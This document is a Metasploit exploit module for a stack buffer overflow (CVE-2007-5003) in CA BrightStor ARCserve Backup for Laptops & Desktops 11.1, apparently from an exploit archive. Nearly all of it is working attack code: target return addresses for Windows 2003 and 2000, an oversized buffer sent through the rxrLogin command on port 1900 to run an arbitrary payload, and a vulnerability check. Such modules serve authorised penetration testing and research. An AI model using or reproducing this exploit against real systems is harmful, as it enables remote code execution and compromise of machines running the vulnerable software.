This Metasploit module exploits a stack overflow in Computer Associates BrightStor ARCserve Backup for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could overflow the buffer and execute arbitrary code.
89dcdea6ef96bdeef448d96e7edf4c62c82b7760d1e36f0672ecbef437a5a680
##
# $Id: lgserver_rxrlogin.rb
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Computer Associates BrightStor ARCserve Backup
for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could
overflow the buffer and execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-5003' ],
[ 'OSVDB', '41353' ],
[ 'BID', '24348' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 550,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
],
'DisclosureDate' => 'Jun 6 2007',
'DefaultTarget' => 0))
register_options([ Opt::RPORT(1900) ], self.class)
end
def check
connect
sock.puts("0000000019rxrGetServerVersion")
ver = sock.get_once
disconnect
if ( ver =~ /11.1.742/ )
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
buffer = rand_text_alpha_upper(17420) + [target.ret].pack('V')
buffer << payload.encoded + rand_text_alpha_upper(300)
sploit = "0000018124" # Command Length Field
sploit << "rxrLogin" # RPC Command
sploit << "~~" # Constant Argument Delimiter
sploit << buffer # Argument
print_status("Trying target #{target.name}...")
# One-shot overwrite...
sock.puts(sploit)
handler
disconnect
end
end